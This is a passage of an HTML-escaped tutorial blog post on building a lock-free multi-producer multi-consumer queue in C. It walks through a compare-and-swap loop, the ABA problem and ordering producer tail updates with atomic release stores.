&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;free_entries&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;free_entries&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;errno&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ENOBUFS&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;new_prod_head&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;old_prod_head&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;q&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;prod_head&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;new_prod_head&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// ...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Consider now what would happen if we have two producers: both will compete in a race to put what they &lt;em&gt;think&lt;/em&gt; that it is the new value of head.&lt;/p&gt;
&lt;p&gt;More over the space reserved for both will overlap leading to a memory corruption.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
Two producers racing for reserving the same space.
&lt;/span&gt;&lt;/figcaption&gt;
&lt;img  class='' alt='' src='/img/threading/lock-free/queue/reserve-race-condition.png' /&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;What we need is the load, compute and store on &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;q&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;prod_head&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; as a &lt;em&gt;single atomic operation&lt;/em&gt;. This is called &lt;em&gt;read-modify-write&lt;/em&gt; operation.&lt;/p&gt;
&lt;p&gt;&lt;label for='IE9yICpjb21wYXJlIGFuZCBleGNoYW5nZSogbWFyZ2lubm90ZXM=' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='IE9yICpjb21wYXJlIGFuZCBleGNoYW5nZSogbWFyZ2lubm90ZXM=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
Or &lt;em&gt;compare and exchange&lt;/em&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;No builtin atomic exists for that but we can built one with a &lt;em&gt;compare and swap&lt;/em&gt; instruction.&lt;/p&gt;
&lt;h2 id="move-the-headtail-forward-atomically---cas-loop"&gt;Move the head/tail forward atomically - CAS loop&lt;/h2&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;queue_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;q&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;old_prod_head&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;__atomic_load_n&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;q&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;prod_head&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;__ATOMIC_RELAXED&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;do&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;cons_tail&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;__atomic_load_n&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;q&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;cons_tail&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;__ATOMIC_ACQUIRE&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;free_entries&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;capacity&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cons_tail&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;old_prod_head&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;free_entries&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;free_entries&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;free_entries&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;free_entries&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;errno&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ENOBUFS&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;new_prod_head&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;old_prod_head&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;success&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;__atomic_compare_exchange_n&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;q&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;prod_head&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;// what we want to update,&lt;/span&gt;
&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;old_prod_head&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;// asumming that still have this value,&lt;/span&gt;
&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="n"&gt;new_prod_head&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;// with this value as the new one.&lt;/span&gt;
&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="nb"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="n"&gt;__ATOMIC_RELAXED&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="n"&gt;__ATOMIC_RELAXED&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;success&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// ...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;label for='Ck5vdGUgdGhhdCBJIHNhaWQgIml0IHN0aWxsIGhhcyB0aGUgc2FtZSB2YWx1ZSI7IEkgZGlkJ3Qgc2F5ICJ0aGUgdmFsdWUKZGlkJ3QgY2hhbmdlIi4gRm9yIG91ciBxdWV1ZSBpdCBkb2Vzbid0IG1hdHRlciBidXQgZm9yIG90aGVyCnN0cnVjdHVyZXMgaXQgaXMgcmVhbGx5IGltcG9ydGFudCBhbmQgdGhlIGNvbmZ1c2lvbiBsZWFkcyB0byB0aGUKW0FCQSBwcm9ibGVtXShodHRwczovL2VuLndpa2lwZWRpYS5vcmcvd2lraS9BQkFfcHJvYmxlbSkKIG1hcmdpbm5vdGVz' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='Ck5vdGUgdGhhdCBJIHNhaWQgIml0IHN0aWxsIGhhcyB0aGUgc2FtZSB2YWx1ZSI7IEkgZGlkJ3Qgc2F5ICJ0aGUgdmFsdWUKZGlkJ3QgY2hhbmdlIi4gRm9yIG91ciBxdWV1ZSBpdCBkb2Vzbid0IG1hdHRlciBidXQgZm9yIG90aGVyCnN0cnVjdHVyZXMgaXQgaXMgcmVhbGx5IGltcG9ydGFudCBhbmQgdGhlIGNvbmZ1c2lvbiBsZWFkcyB0byB0aGUKW0FCQSBwcm9ibGVtXShodHRwczovL2VuLndpa2lwZWRpYS5vcmcvd2lraS9BQkFfcHJvYmxlbSkKIG1hcmdpbm5vdGVz' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
Note that I said “it still has the same value”; I did’t say “the value did’t change”. For our queue it doesn’t matter but for other structures it is really important and the confusion leads to the &lt;a href="https://en.wikipedia.org/wiki/ABA_problem"&gt;ABA problem&lt;/a&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;The idea is to do an atomic read, do all the modifications and checks that we need and then do an atomic write with the new value &lt;em&gt;only if&lt;/em&gt; the head is &lt;em&gt;still&lt;/em&gt; pointing to the same position that we read.&lt;/p&gt;
&lt;p&gt;That is what &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;__atomic_compare_exchange_n&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is about.&lt;/p&gt;
&lt;p&gt;If it is, it means that no other producer moved the head and we can proceed.&lt;/p&gt;
&lt;p&gt;&lt;label for='ClRoZXJlIGlzIG5vIG5lZWQgdG8gZG8gYW4gZXhwbGljaXQgYXRvbWljIGxvYWQgYWdhaW4sCmBfX2F0b21pY19jb21wYXJlX2V4Y2hhbmdlX25gIHdpbGwgZG8gaXQgZm9yIHVzIGlmIGl0IGZhaWxzLiBtYXJnaW5ub3Rlcw==' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='ClRoZXJlIGlzIG5vIG5lZWQgdG8gZG8gYW4gZXhwbGljaXQgYXRvbWljIGxvYWQgYWdhaW4sCmBfX2F0b21pY19jb21wYXJlX2V4Y2hhbmdlX25gIHdpbGwgZG8gaXQgZm9yIHVzIGlmIGl0IGZhaWxzLiBtYXJnaW5ub3Rlcw==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
There is no need to do an explicit atomic load again, &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;__atomic_compare_exchange_n&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; will do it for us if it fails.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;If not, we need to retry again until we succeed.&lt;/p&gt;
&lt;p&gt;This loop makes the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;push&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; to take an unbound number of steps (loop iterations) until it can proceed. The queue is lock-free but no &lt;em&gt;wait-free&lt;/em&gt; anymore.&lt;/p&gt;
&lt;h2 id="waiting-for-others"&gt;Waiting for others&lt;/h2&gt;
&lt;p&gt;Once a producer finished the write it &lt;em&gt;releases&lt;/em&gt; it updating the producer’s tail to the new head.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="p"&gt;(...)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// ...&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// write the data&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;q&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[(&lt;/span&gt;&lt;span class="n"&gt;old_prod_head&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mask&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;__atomic_store_n&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;q&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;prod_tail&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;new_prod_head&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;__ATOMIC_RELEASE&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;However we have another race condition here.&lt;/p&gt;
&lt;p&gt;It is not about the store of the value, we can use an atomic store for that; it is about the &lt;em&gt;order&lt;/em&gt; of the stores.&lt;/p&gt;
&lt;p&gt;Both producers have the correct notion of the next head thanks to the CAS loop however this is only truth &lt;strong&gt;if&lt;/strong&gt; the first producers updates the tail &lt;strong&gt;before&lt;/strong&gt; the second one.&lt;/p&gt;
&lt;p&gt;Recall that the producer’s tail is the marker for the consumers to stop, preventing them to read undefined data.&lt;/p&gt;
&lt;p&gt;If the second producer updates the tail there are not guaranties that the first producer finished her writing by then; she didn’t &lt;em&gt;released&lt;/em&gt; the memory reserved.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
Two producers racing for marking the data as ready.
&lt;br /&gt;&lt;br /&gt;
If the producer 2 updates the tail before the producer 1, the consumers may read that the producer 1 may not had written yet.
&lt;/span&gt;&lt;/figcaption&gt;
&lt;img  class='' alt='' src='/img/threading/lock-free/queue/ready-race-condition.png' /&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;What we need is to enforce an order: all the previous &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;push&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; must complete before a producer update the tail.&lt;/p&gt;
&lt;p&gt;We can get this waiting until the tail reaches the old head meaning that any reserved space for writing (between the tail and the old head) was used and released.&lt;/p&gt;
&lt;p&gt;So the next block reserved begins at the old head/current tail and ends at the new head.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="p"&gt;(...)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// ...&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// write the data&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;q&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[(&lt;/span&gt;&lt;span class="n"&gt;old_prod_head&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mask&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// loop until the tail reaches our original head.&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// ensuring that no other previous push is still in progress&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="k"&gt;volatile&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;q&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;prod_tail&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;old_prod_head&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// Tell the CPU that this is busy-loop so he can take a rest&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;loki_cpu_relax&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;__atomic_store_n&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;q&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;prod_tail&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;new_prod_head&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;__ATOMIC_RELEASE&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="multi-producer-multi-consumer-queue-final-version"&gt;Multi-producer multi-consumer queue (final version)&lt;/h2&gt;
&lt;p&gt;The code can be found in &lt;a href="https://github.com/eldipa/loki"&gt;the loki library&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;figure class='fullwidth'&gt;&lt;img  class='fullwidth' alt='' src='/img/threading/lock-free/queue/relativity-quantic-concurrent-programming.png' /&gt;
&lt;figcaption&gt;
&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
